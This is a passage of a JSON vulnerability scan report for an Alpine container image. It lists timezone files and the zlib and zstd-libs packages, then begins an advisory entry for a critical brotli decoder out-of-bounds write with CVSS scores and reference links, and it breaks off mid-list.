"usr/share/zoneinfo/Africa/Nairobi", "usr/share/zoneinfo/Africa/Ndjamena", "usr/share/zoneinfo/Africa/Niamey", "usr/share/zoneinfo/Africa/Nouakchott", "usr/share/zoneinfo/Africa/Ouagadougou", "usr/share/zoneinfo/Africa/Porto-Novo", "usr/share/zoneinfo/Africa/Sao_Tome", "usr/share/zoneinfo/Africa/Timbuktu", "usr/share/zoneinfo/Africa/Tripoli", "usr/share/zoneinfo/Africa/Tunis", "usr/share/zoneinfo/Africa/Windhoek", "usr/share/zoneinfo/America/Adak", "usr/share/zoneinfo/America/Anchorage", "usr/share/zoneinfo/America/Anguilla", "usr/share/zoneinfo/America/Antigua", "usr/share/zoneinfo/America/Araguaina", "usr/share/zoneinfo/America/Aruba", "usr/share/zoneinfo/America/Asuncion", "usr/share/zoneinfo/America/Atikokan", "usr/share/zoneinfo/America/Atka", "usr/share/zoneinfo/America/Bahia", "usr/share/zoneinfo/America/Bahia_Banderas", "usr/share/zoneinfo/America/Barbados", "usr/share/zoneinfo/America/Belem", "usr/share/zoneinfo/America/Belize", "usr/share/zoneinfo/America/Blanc-Sablon", "usr/share/zoneinfo/America/Boa_Vista", "usr/share/zoneinfo/America/Bogota", "usr/share/zoneinfo/America/Boise", "usr/share/zoneinfo/America/Buenos_Aires", "usr/share/zoneinfo/America/Cambridge_Bay", "usr/share/zoneinfo/America/Campo_Grande", "usr/share/zoneinfo/America/Cancun", "usr/share/zoneinfo/America/Caracas", "usr/share/zoneinfo/America/Catamarca", "usr/share/zoneinfo/America/Cayenne", "usr/share/zoneinfo/America/Cayman", "usr/share/zoneinfo/America/Chicago", "usr/share/zoneinfo/America/Chihuahua", "usr/share/zoneinfo/America/Ciudad_Juarez", "usr/share/zoneinfo/America/Coral_Harbour", "usr/share/zoneinfo/America/Cordoba", "usr/share/zoneinfo/America/Costa_Rica", "usr/share/zoneinfo/America/Coyhaique", "usr/share/zoneinfo/America/Creston", "usr/share/zoneinfo/America/Cuiaba", "usr/share/zoneinfo/America/Curacao", "usr/share/zoneinfo/America/Danmarkshavn", "usr/share/zoneinfo/America/Dawson", "usr/share/zoneinfo/America/Dawson_Creek", "usr/share/zoneinfo/America/Denver", "usr/share/zoneinfo/America/Detroit", "usr/share/zoneinfo/America/Dominica", "usr/share/zoneinfo/America/Edmonton", "usr/share/zoneinfo/America/Eirunepe", "usr/share/zoneinfo/America/El_Salvador", "usr/share/zoneinfo/America/Ensenada", "usr/share/zoneinfo/America/Fort_Nelson", "usr/share/zoneinfo/America/Fort_Wayne", "usr/share/zoneinfo/America/Fortaleza", "usr/share/zoneinfo/America/Glace_Bay", "usr/share/zoneinfo/America/Godthab", "usr/share/zoneinfo/America/Goose_Bay", "usr/share/zoneinfo/America/Grand_Turk", "usr/share/zoneinfo/America/Grenada", "usr/share/zoneinfo/America/Guadeloupe", "usr/share/zoneinfo/America/Guatemala", "usr/share/zoneinfo/America/Guayaquil", "usr/share/zoneinfo/America/Guyana", "usr/share/zoneinfo/America/Halifax", "usr/share/zoneinfo/America/Havana", "usr/share/zoneinfo/America/Hermosillo", "usr/share/zoneinfo/America/Indianapolis", "usr/share/zoneinfo/America/Inuvik", "usr/share/zoneinfo/America/Iqaluit", "usr/share/zoneinfo/America/Jamaica", "usr/share/zoneinfo/America/Jujuy", "usr/share/zoneinfo/America/Juneau", "usr/share/zoneinfo/America/Knox_IN", "usr/share/zoneinfo/America/Kralendijk", "usr/share/zoneinfo/America/La_Paz", "usr/share/zoneinfo/America/Lima", "usr/share/zoneinfo/America/Los_Angeles", "usr/share/zoneinfo/America/Louisville", "usr/share/zoneinfo/America/Lower_Princes", "usr/share/zoneinfo/America/Maceio", "usr/share/zoneinfo/America/Managua", "usr/share/zoneinfo/America/Manaus", "usr/share/zoneinfo/America/Marigot", "usr/share/zoneinfo/America/Martinique", "usr/share/zoneinfo/America/Matamoros", "usr/share/zoneinfo/America/Mazatlan", "usr/share/zoneinfo/America/Mendoza", "usr/share/zoneinfo/America/Menominee", "usr/share/zoneinfo/America/Merida", "usr/share/zoneinfo/America/Metlakatla", "usr/share/zoneinfo/America/Mexico_City", "usr/share/zoneinfo/America/Miquelon", "usr/share/zoneinfo/America/Moncton", "usr/share/zoneinfo/America/Monterrey", "usr/share/zoneinfo/America/Montevideo", "usr/share/zoneinfo/America/Montreal", "usr/share/zoneinfo/America/Montserrat", "usr/share/zoneinfo/America/Nassau", "usr/share/zoneinfo/America/New_York", "usr/share/zoneinfo/America/Nipigon", "usr/share/zoneinfo/America/Nome", "usr/share/zoneinfo/America/Noronha", "usr/share/zoneinfo/America/Nuuk", "usr/share/zoneinfo/America/Ojinaga", "usr/share/zoneinfo/America/Panama", "usr/share/zoneinfo/America/Pangnirtung", "usr/share/zoneinfo/America/Paramaribo", "usr/share/zoneinfo/America/Phoenix", "usr/share/zoneinfo/America/Port-au-Prince", "usr/share/zoneinfo/America/Port_of_Spain", "usr/share/zoneinfo/America/Porto_Acre", "usr/share/zoneinfo/America/Porto_Velho", "usr/share/zoneinfo/America/Puerto_Rico", "usr/share/zoneinfo/America/Punta_Arenas", "usr/share/zoneinfo/America/Rainy_River", "usr/share/zoneinfo/America/Rankin_Inlet", "usr/share/zoneinfo/America/Recife", "usr/share/zoneinfo/America/Regina", "usr/share/zoneinfo/America/Resolute", "usr/share/zoneinfo/America/Rio_Branco", "usr/share/zoneinfo/America/Rosario", "usr/share/zoneinfo/America/Santa_Isabel", "usr/share/zoneinfo/America/Santarem", "usr/share/zoneinfo/America/Santiago", "usr/share/zoneinfo/America/Santo_Domingo", "usr/share/zoneinfo/America/Sao_Paulo", "usr/share/zoneinfo/America/Scoresbysund", "usr/share/zoneinfo/America/Shiprock", "usr/share/zoneinfo/America/Sitka", "usr/share/zoneinfo/America/St_Barthelemy", "usr/share/zoneinfo/America/St_Johns", "usr/share/zoneinfo/America/St_Kitts", "usr/share/zoneinfo/America/St_Lucia", "usr/share/zoneinfo/America/St_Thomas", "usr/share/zoneinfo/America/St_Vincent", "usr/share/zoneinfo/America/Swift_Current", "usr/share/zoneinfo/America/Tegucigalpa", "usr/share/zoneinfo/America/Thule", "usr/share/zoneinfo/America/Thunder_Bay", "usr/share/zoneinfo/America/Tijuana", "usr/share/zoneinfo/America/Toronto", "usr/share/zoneinfo/America/Tortola", "usr/share/zoneinfo/America/Vancouver", "usr/share/zoneinfo/America/Virgin", "usr/share/zoneinfo/America/Whitehorse", "usr/share/zoneinfo/America/Winnipeg", "usr/share/zoneinfo/America/Yakutat", "usr/share/zoneinfo/America/Yellowknife", "usr/share/zoneinfo/America/Argentina/Buenos_Aires", "usr/share/zoneinfo/America/Argentina/Catamarca", "usr/share/zoneinfo/America/Argentina/ComodRivadavia", "usr/share/zoneinfo/America/Argentina/Cordoba", "usr/share/zoneinfo/America/Argentina/Jujuy", "usr/share/zoneinfo/America/Argentina/La_Rioja", "usr/share/zoneinfo/America/Argentina/Mendoza", "usr/share/zoneinfo/America/Argentina/Rio_Gallegos", "usr/share/zoneinfo/America/Argentina/Salta", "usr/share/zoneinfo/America/Argentina/San_Juan", "usr/share/zoneinfo/America/Argentina/San_Luis", "usr/share/zoneinfo/America/Argentina/Tucuman", "usr/share/zoneinfo/America/Argentina/Ushuaia", "usr/share/zoneinfo/America/Indiana/Indianapolis", "usr/share/zoneinfo/America/Indiana/Knox", "usr/share/zoneinfo/America/Indiana/Marengo", "usr/share/zoneinfo/America/Indiana/Petersburg", "usr/share/zoneinfo/America/Indiana/Tell_City", "usr/share/zoneinfo/America/Indiana/Vevay", "usr/share/zoneinfo/America/Indiana/Vincennes", "usr/share/zoneinfo/America/Indiana/Winamac", "usr/share/zoneinfo/America/Kentucky/Louisville", "usr/share/zoneinfo/America/Kentucky/Monticello", "usr/share/zoneinfo/America/North_Dakota/Beulah", "usr/share/zoneinfo/America/North_Dakota/Center", "usr/share/zoneinfo/America/North_Dakota/New_Salem", "usr/share/zoneinfo/Antarctica/Casey", "usr/share/zoneinfo/Antarctica/Davis", "usr/share/zoneinfo/Antarctica/DumontDUrville", "usr/share/zoneinfo/Antarctica/Macquarie", "usr/share/zoneinfo/Antarctica/Mawson", "usr/share/zoneinfo/Antarctica/McMurdo", "usr/share/zoneinfo/Antarctica/Palmer", "usr/share/zoneinfo/Antarctica/Rothera", "usr/share/zoneinfo/Antarctica/South_Pole", "usr/share/zoneinfo/Antarctica/Syowa", "usr/share/zoneinfo/Antarctica/Troll", "usr/share/zoneinfo/Antarctica/Vostok", "usr/share/zoneinfo/Arctic/Longyearbyen", "usr/share/zoneinfo/Asia/Aden", "usr/share/zoneinfo/Asia/Almaty", "usr/share/zoneinfo/Asia/Amman", "usr/share/zoneinfo/Asia/Anadyr", "usr/share/zoneinfo/Asia/Aqtau", "usr/share/zoneinfo/Asia/Aqtobe", "usr/share/zoneinfo/Asia/Ashgabat", "usr/share/zoneinfo/Asia/Ashkhabad", "usr/share/zoneinfo/Asia/Atyrau", "usr/share/zoneinfo/Asia/Baghdad", "usr/share/zoneinfo/Asia/Bahrain", "usr/share/zoneinfo/Asia/Baku", "usr/share/zoneinfo/Asia/Bangkok", "usr/share/zoneinfo/Asia/Barnaul", "usr/share/zoneinfo/Asia/Beirut", "usr/share/zoneinfo/Asia/Bishkek", "usr/share/zoneinfo/Asia/Brunei", "usr/share/zoneinfo/Asia/Calcutta", "usr/share/zoneinfo/Asia/Chita", "usr/share/zoneinfo/Asia/Choibalsan", "usr/share/zoneinfo/Asia/Chongqing", "usr/share/zoneinfo/Asia/Chungking", "usr/share/zoneinfo/Asia/Colombo", "usr/share/zoneinfo/Asia/Dacca", "usr/share/zoneinfo/Asia/Damascus", "usr/share/zoneinfo/Asia/Dhaka", "usr/share/zoneinfo/Asia/Dili", "usr/share/zoneinfo/Asia/Dubai", "usr/share/zoneinfo/Asia/Dushanbe", "usr/share/zoneinfo/Asia/Famagusta", "usr/share/zoneinfo/Asia/Gaza", "usr/share/zoneinfo/Asia/Harbin", "usr/share/zoneinfo/Asia/Hebron", "usr/share/zoneinfo/Asia/Ho_Chi_Minh", "usr/share/zoneinfo/Asia/Hong_Kong", "usr/share/zoneinfo/Asia/Hovd", "usr/share/zoneinfo/Asia/Irkutsk", "usr/share/zoneinfo/Asia/Istanbul", "usr/share/zoneinfo/Asia/Jakarta", "usr/share/zoneinfo/Asia/Jayapura", "usr/share/zoneinfo/Asia/Jerusalem", "usr/share/zoneinfo/Asia/Kabul", "usr/share/zoneinfo/Asia/Kamchatka", "usr/share/zoneinfo/Asia/Karachi", "usr/share/zoneinfo/Asia/Kashgar", "usr/share/zoneinfo/Asia/Kathmandu", "usr/share/zoneinfo/Asia/Katmandu", "usr/share/zoneinfo/Asia/Khandyga", "usr/share/zoneinfo/Asia/Kolkata", "usr/share/zoneinfo/Asia/Krasnoyarsk", "usr/share/zoneinfo/Asia/Kuala_Lumpur", "usr/share/zoneinfo/Asia/Kuching", "usr/share/zoneinfo/Asia/Kuwait", "usr/share/zoneinfo/Asia/Macao", "usr/share/zoneinfo/Asia/Macau", "usr/share/zoneinfo/Asia/Magadan", "usr/share/zoneinfo/Asia/Makassar", "usr/share/zoneinfo/Asia/Manila", "usr/share/zoneinfo/Asia/Muscat", "usr/share/zoneinfo/Asia/Nicosia", "usr/share/zoneinfo/Asia/Novokuznetsk", "usr/share/zoneinfo/Asia/Novosibirsk", "usr/share/zoneinfo/Asia/Omsk", "usr/share/zoneinfo/Asia/Oral", "usr/share/zoneinfo/Asia/Phnom_Penh", "usr/share/zoneinfo/Asia/Pontianak", "usr/share/zoneinfo/Asia/Pyongyang", "usr/share/zoneinfo/Asia/Qatar", "usr/share/zoneinfo/Asia/Qostanay", "usr/share/zoneinfo/Asia/Qyzylorda", "usr/share/zoneinfo/Asia/Rangoon", "usr/share/zoneinfo/Asia/Riyadh", "usr/share/zoneinfo/Asia/Saigon", "usr/share/zoneinfo/Asia/Sakhalin", "usr/share/zoneinfo/Asia/Samarkand", "usr/share/zoneinfo/Asia/Seoul", "usr/share/zoneinfo/Asia/Shanghai", "usr/share/zoneinfo/Asia/Singapore", "usr/share/zoneinfo/Asia/Srednekolymsk", "usr/share/zoneinfo/Asia/Taipei", "usr/share/zoneinfo/Asia/Tashkent", "usr/share/zoneinfo/Asia/Tbilisi", "usr/share/zoneinfo/Asia/Tehran", "usr/share/zoneinfo/Asia/Tel_Aviv", "usr/share/zoneinfo/Asia/Thimbu", "usr/share/zoneinfo/Asia/Thimphu", "usr/share/zoneinfo/Asia/Tokyo", "usr/share/zoneinfo/Asia/Tomsk", "usr/share/zoneinfo/Asia/Ujung_Pandang", "usr/share/zoneinfo/Asia/Ulaanbaatar", "usr/share/zoneinfo/Asia/Ulan_Bator", "usr/share/zoneinfo/Asia/Urumqi", "usr/share/zoneinfo/Asia/Ust-Nera", "usr/share/zoneinfo/Asia/Vientiane", "usr/share/zoneinfo/Asia/Vladivostok", "usr/share/zoneinfo/Asia/Yakutsk", "usr/share/zoneinfo/Asia/Yangon", "usr/share/zoneinfo/Asia/Yekaterinburg", "usr/share/zoneinfo/Asia/Yerevan", "usr/share/zoneinfo/Atlantic/Azores", "usr/share/zoneinfo/Atlantic/Bermuda", "usr/share/zoneinfo/Atlantic/Canary", "usr/share/zoneinfo/Atlantic/Cape_Verde", "usr/share/zoneinfo/Atlantic/Faeroe", "usr/share/zoneinfo/Atlantic/Faroe", "usr/share/zoneinfo/Atlantic/Jan_Mayen", "usr/share/zoneinfo/Atlantic/Madeira", "usr/share/zoneinfo/Atlantic/Reykjavik", "usr/share/zoneinfo/Atlantic/South_Georgia", "usr/share/zoneinfo/Atlantic/St_Helena", "usr/share/zoneinfo/Atlantic/Stanley", "usr/share/zoneinfo/Australia/ACT", "usr/share/zoneinfo/Australia/Adelaide", "usr/share/zoneinfo/Australia/Brisbane", "usr/share/zoneinfo/Australia/Broken_Hill", "usr/share/zoneinfo/Australia/Canberra", "usr/share/zoneinfo/Australia/Currie", "usr/share/zoneinfo/Australia/Darwin", "usr/share/zoneinfo/Australia/Eucla", "usr/share/zoneinfo/Australia/Hobart", "usr/share/zoneinfo/Australia/LHI", "usr/share/zoneinfo/Australia/Lindeman", "usr/share/zoneinfo/Australia/Lord_Howe", "usr/share/zoneinfo/Australia/Melbourne", "usr/share/zoneinfo/Australia/NSW", "usr/share/zoneinfo/Australia/North", "usr/share/zoneinfo/Australia/Perth", "usr/share/zoneinfo/Australia/Queensland", "usr/share/zoneinfo/Australia/South", "usr/share/zoneinfo/Australia/Sydney", "usr/share/zoneinfo/Australia/Tasmania", "usr/share/zoneinfo/Australia/Victoria", "usr/share/zoneinfo/Australia/West", "usr/share/zoneinfo/Australia/Yancowinna", "usr/share/zoneinfo/Brazil/Acre", "usr/share/zoneinfo/Brazil/DeNoronha", "usr/share/zoneinfo/Brazil/East", "usr/share/zoneinfo/Brazil/West", "usr/share/zoneinfo/Canada/Atlantic", "usr/share/zoneinfo/Canada/Central", "usr/share/zoneinfo/Canada/Eastern", "usr/share/zoneinfo/Canada/Mountain", "usr/share/zoneinfo/Canada/Newfoundland", "usr/share/zoneinfo/Canada/Pacific", "usr/share/zoneinfo/Canada/Saskatchewan", "usr/share/zoneinfo/Canada/Yukon", "usr/share/zoneinfo/Chile/Continental", "usr/share/zoneinfo/Chile/EasterIsland", "usr/share/zoneinfo/Etc/GMT", "usr/share/zoneinfo/Etc/GMT+0", "usr/share/zoneinfo/Etc/GMT+1", "usr/share/zoneinfo/Etc/GMT+10", "usr/share/zoneinfo/Etc/GMT+11", "usr/share/zoneinfo/Etc/GMT+12", "usr/share/zoneinfo/Etc/GMT+2", "usr/share/zoneinfo/Etc/GMT+3", "usr/share/zoneinfo/Etc/GMT+4", "usr/share/zoneinfo/Etc/GMT+5", "usr/share/zoneinfo/Etc/GMT+6", "usr/share/zoneinfo/Etc/GMT+7", "usr/share/zoneinfo/Etc/GMT+8", "usr/share/zoneinfo/Etc/GMT+9", "usr/share/zoneinfo/Etc/GMT-0", "usr/share/zoneinfo/Etc/GMT-1", "usr/share/zoneinfo/Etc/GMT-10", "usr/share/zoneinfo/Etc/GMT-11", "usr/share/zoneinfo/Etc/GMT-12", "usr/share/zoneinfo/Etc/GMT-13", "usr/share/zoneinfo/Etc/GMT-14", "usr/share/zoneinfo/Etc/GMT-2", "usr/share/zoneinfo/Etc/GMT-3", "usr/share/zoneinfo/Etc/GMT-4", "usr/share/zoneinfo/Etc/GMT-5", "usr/share/zoneinfo/Etc/GMT-6", "usr/share/zoneinfo/Etc/GMT-7", "usr/share/zoneinfo/Etc/GMT-8", "usr/share/zoneinfo/Etc/GMT-9", "usr/share/zoneinfo/Etc/GMT0", "usr/share/zoneinfo/Etc/Greenwich", "usr/share/zoneinfo/Etc/UCT", "usr/share/zoneinfo/Etc/UTC", "usr/share/zoneinfo/Etc/Universal", "usr/share/zoneinfo/Etc/Zulu", "usr/share/zoneinfo/Europe/Amsterdam", "usr/share/zoneinfo/Europe/Andorra", "usr/share/zoneinfo/Europe/Astrakhan", "usr/share/zoneinfo/Europe/Athens", "usr/share/zoneinfo/Europe/Belfast", "usr/share/zoneinfo/Europe/Belgrade", "usr/share/zoneinfo/Europe/Berlin", "usr/share/zoneinfo/Europe/Bratislava", "usr/share/zoneinfo/Europe/Brussels", "usr/share/zoneinfo/Europe/Bucharest", "usr/share/zoneinfo/Europe/Budapest", "usr/share/zoneinfo/Europe/Busingen", "usr/share/zoneinfo/Europe/Chisinau", "usr/share/zoneinfo/Europe/Copenhagen", "usr/share/zoneinfo/Europe/Dublin", "usr/share/zoneinfo/Europe/Gibraltar", "usr/share/zoneinfo/Europe/Guernsey", "usr/share/zoneinfo/Europe/Helsinki", "usr/share/zoneinfo/Europe/Isle_of_Man", "usr/share/zoneinfo/Europe/Istanbul", "usr/share/zoneinfo/Europe/Jersey", "usr/share/zoneinfo/Europe/Kaliningrad", "usr/share/zoneinfo/Europe/Kiev", "usr/share/zoneinfo/Europe/Kirov", "usr/share/zoneinfo/Europe/Kyiv", "usr/share/zoneinfo/Europe/Lisbon", "usr/share/zoneinfo/Europe/Ljubljana", "usr/share/zoneinfo/Europe/London", "usr/share/zoneinfo/Europe/Luxembourg", "usr/share/zoneinfo/Europe/Madrid", "usr/share/zoneinfo/Europe/Malta", "usr/share/zoneinfo/Europe/Mariehamn", "usr/share/zoneinfo/Europe/Minsk", "usr/share/zoneinfo/Europe/Monaco", "usr/share/zoneinfo/Europe/Moscow", "usr/share/zoneinfo/Europe/Nicosia", "usr/share/zoneinfo/Europe/Oslo", "usr/share/zoneinfo/Europe/Paris", "usr/share/zoneinfo/Europe/Podgorica", "usr/share/zoneinfo/Europe/Prague", "usr/share/zoneinfo/Europe/Riga", "usr/share/zoneinfo/Europe/Rome", "usr/share/zoneinfo/Europe/Samara", "usr/share/zoneinfo/Europe/San_Marino", "usr/share/zoneinfo/Europe/Sarajevo", "usr/share/zoneinfo/Europe/Saratov", "usr/share/zoneinfo/Europe/Simferopol", "usr/share/zoneinfo/Europe/Skopje", "usr/share/zoneinfo/Europe/Sofia", "usr/share/zoneinfo/Europe/Stockholm", "usr/share/zoneinfo/Europe/Tallinn", "usr/share/zoneinfo/Europe/Tirane", "usr/share/zoneinfo/Europe/Tiraspol", "usr/share/zoneinfo/Europe/Ulyanovsk", "usr/share/zoneinfo/Europe/Uzhgorod", "usr/share/zoneinfo/Europe/Vaduz", "usr/share/zoneinfo/Europe/Vatican", "usr/share/zoneinfo/Europe/Vienna", "usr/share/zoneinfo/Europe/Vilnius", "usr/share/zoneinfo/Europe/Volgograd", "usr/share/zoneinfo/Europe/Warsaw", "usr/share/zoneinfo/Europe/Zagreb", "usr/share/zoneinfo/Europe/Zaporozhye", "usr/share/zoneinfo/Europe/Zurich", "usr/share/zoneinfo/Indian/Antananarivo", "usr/share/zoneinfo/Indian/Chagos", "usr/share/zoneinfo/Indian/Christmas", "usr/share/zoneinfo/Indian/Cocos", "usr/share/zoneinfo/Indian/Comoro", "usr/share/zoneinfo/Indian/Kerguelen", "usr/share/zoneinfo/Indian/Mahe", "usr/share/zoneinfo/Indian/Maldives", "usr/share/zoneinfo/Indian/Mauritius", "usr/share/zoneinfo/Indian/Mayotte", "usr/share/zoneinfo/Indian/Reunion", "usr/share/zoneinfo/Mexico/BajaNorte", "usr/share/zoneinfo/Mexico/BajaSur", "usr/share/zoneinfo/Mexico/General", "usr/share/zoneinfo/Pacific/Apia", "usr/share/zoneinfo/Pacific/Auckland", "usr/share/zoneinfo/Pacific/Bougainville", "usr/share/zoneinfo/Pacific/Chatham", "usr/share/zoneinfo/Pacific/Chuuk", "usr/share/zoneinfo/Pacific/Easter", "usr/share/zoneinfo/Pacific/Efate", "usr/share/zoneinfo/Pacific/Enderbury", "usr/share/zoneinfo/Pacific/Fakaofo", "usr/share/zoneinfo/Pacific/Fiji", "usr/share/zoneinfo/Pacific/Funafuti", "usr/share/zoneinfo/Pacific/Galapagos", "usr/share/zoneinfo/Pacific/Gambier", "usr/share/zoneinfo/Pacific/Guadalcanal", "usr/share/zoneinfo/Pacific/Guam", "usr/share/zoneinfo/Pacific/Honolulu", "usr/share/zoneinfo/Pacific/Johnston", "usr/share/zoneinfo/Pacific/Kanton", "usr/share/zoneinfo/Pacific/Kiritimati", "usr/share/zoneinfo/Pacific/Kosrae", "usr/share/zoneinfo/Pacific/Kwajalein", "usr/share/zoneinfo/Pacific/Majuro", "usr/share/zoneinfo/Pacific/Marquesas", "usr/share/zoneinfo/Pacific/Midway", "usr/share/zoneinfo/Pacific/Nauru", "usr/share/zoneinfo/Pacific/Niue", "usr/share/zoneinfo/Pacific/Norfolk", "usr/share/zoneinfo/Pacific/Noumea", "usr/share/zoneinfo/Pacific/Pago_Pago", "usr/share/zoneinfo/Pacific/Palau", "usr/share/zoneinfo/Pacific/Pitcairn", "usr/share/zoneinfo/Pacific/Pohnpei", "usr/share/zoneinfo/Pacific/Ponape", "usr/share/zoneinfo/Pacific/Port_Moresby", "usr/share/zoneinfo/Pacific/Rarotonga", "usr/share/zoneinfo/Pacific/Saipan", "usr/share/zoneinfo/Pacific/Samoa", "usr/share/zoneinfo/Pacific/Tahiti", "usr/share/zoneinfo/Pacific/Tarawa", "usr/share/zoneinfo/Pacific/Tongatapu", "usr/share/zoneinfo/Pacific/Truk", "usr/share/zoneinfo/Pacific/Wake", "usr/share/zoneinfo/Pacific/Wallis", "usr/share/zoneinfo/Pacific/Yap", "usr/share/zoneinfo/US/Alaska", "usr/share/zoneinfo/US/Aleutian", "usr/share/zoneinfo/US/Arizona", "usr/share/zoneinfo/US/Central", "usr/share/zoneinfo/US/East-Indiana", "usr/share/zoneinfo/US/Eastern", "usr/share/zoneinfo/US/Hawaii", "usr/share/zoneinfo/US/Indiana-Starke", "usr/share/zoneinfo/US/Michigan", "usr/share/zoneinfo/US/Mountain", "usr/share/zoneinfo/US/Pacific", "usr/share/zoneinfo/US/Samoa" ], "AnalyzedBy": "apk" }, { "ID": "zlib@1.3.2-r0", "Name": "zlib", "Identifier": { "PURL": "pkg:apk/alpine/zlib@1.3.2-r0?arch=x86_64\u0026distro=3.23.4", "UID": "23a5a7d167a86311" }, "Version": "1.3.2-r0", "Arch": "x86_64", "SrcName": "zlib", "SrcVersion": "1.3.2-r0", "Licenses": [ "Zlib" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r23" ], "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "Digest": "sha1:68bb97ea5255e77aa974e65476d64832ad56288a", "InstalledFiles": [ "usr/lib/libz.so.1", "usr/lib/libz.so.1.3.2" ], "AnalyzedBy": "apk" }, { "ID": "zstd-libs@1.5.7-r2", "Name": "zstd-libs", "Identifier": { "PURL": "pkg:apk/alpine/zstd-libs@1.5.7-r2?arch=x86_64\u0026distro=3.23.4", "UID": "3653bba6b6680fed" }, "Version": "1.5.7-r2", "Arch": "x86_64", "SrcName": "zstd", "SrcVersion": "1.5.7-r2", "Licenses": [ "BSD-3-Clause", "GPL-2.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r23" ], "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "Digest": "sha1:d507b8ac3c4335a40405ac20e49bac9d43642be6", "InstalledFiles": [ "usr/lib/libzstd.so.1", "usr/lib/libzstd.so.1.5.7" ], "AnalyzedBy": "apk" } ], "Vulnerabilities": [ { "VulnerabilityID": "CVE-2026-111497", "PkgID": "brotli-libs@1.2.0-r0", "PkgName": "brotli-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/brotli-libs@1.2.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "234da2b3c350083b" }, "InstalledVersion": "1.2.0-r0", "FixedVersion": "1.2.1-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-111497", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:390a280063c1981336b7efb25c79219f7f415be30666a02da302d2ba0d2cdd4e", "Title": "brotli: Out-of-Bounds Write in Google Brotli Decoder", "Description": "A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream.\n\n\n\n\n\nUsers need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.", "Severity": "CRITICAL", "CweIDs": [ "CWE-252", "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "bitnami": 4, "ghsa": 4, "nvd": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V3Score": 9.8, "V40Score": 9.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/23/25", "http://www.openwall.com/lists/oss-security/2026/10/24/6", "http://www.openwall.com/lists/oss-security/2026/10/26/12", "http://www.openwall.com/lists/oss-security/2026/10/26/13", "http://www.openwall.com/lists/oss-security/2026/10/26/16", "http://www.openwall.com/lists/oss-security/2026/11/03/2", "https://access.redhat.com/errata/RHSA-2026:90495", "https://access.redhat.com/errata/RHSA-2026:92492", "https://access.redhat.com/security/cve/CVE-2026-111497", "https://advisory.echohq.com/cve/CVE-2026-111497", "https://broccoli2shell.com", "https://bugzilla.redhat.com/2558973", "https://bugzilla.redhat.com/2562054", "https://bugzilla.redhat.com/show_bug.cgi?id=2558973", "https://cert-portal.siemens.com/productcert/html/ssa-045512.html", "https://cert-portal.siemens.com/productcert/html/ssa-443410.html", "https://cert-portal.siemens.com/productcert/html/ssa-898633.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111497", "https://devblogs.microsoft.com/dotnet/dotnet-october-2026-oob-security-updates", "https://ellio.tech/en/blog/node2shell-cve-2026-111497-rce-on-stock-nodejs-builds", "https://ellio.tech/en/blog/node2shell-cve-2026-111497-rce-on-stock-nodejs-builds/", "https://errata.almalinux.org/9/ALSA-2026-92492.html", "https://errata.rockylinux.org/RLSA-2026:90495", "https://github.com/advisories/GHSA-9v8h-qqgm-4m35", "https://github.com/andybalholm/brotli/releases/tag/v1.2.7", "https://github.com/dotnet/announcements/issues/494", "https://github.com/google/brotli", "https://github.com/google/brotli/commit/0ed4268a4401abcb4472096340477cf4af7d1a2b", "https://github.com/google/brotli/commit/50a9b70a4d5e1443fc40927952276b68fffa83a0", "https://github.com/google/brotli/commit/b418fa81c48262a86a95332b0bc6d62c30aa78b6", "https://github.com/google/brotli/commit/da9806362874b9bd4b552a3af360b5d6347beb12", "https://github.com/google/brotli/releases/tag/v1.0.10", "https://github.com/google/brotli/releases/tag/v1.1.1", "https://github.com/google/brotli/releases/tag/v1.2.1", "https://github.com/pypa/advisory-database/tree/main/vulns/brotli/PYSEC-2026-4322.yaml", "https://github.com/pypa/advisory-database/tree/main/vulns/brotlicffi/PYSEC-2026-4323.yaml", "https://linux.oracle.com/cve/CVE-2026-111497.html", "https://linux.oracle.com/errata/ELSA-2026-92492.html", "https://lists.debian.org/debian-lts-announce/2026/10/msg00049.html", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-114148", "https://nodejs.org/en/blog/vulnerability/october-2026-security-releases", "https://nodejs.org/en/blog/vulnerability/october-2026-security-releases#nodejs-brotli-decoder-out-of-bounds-write-permits-remote-code-execution-cve-2026-111497---high", 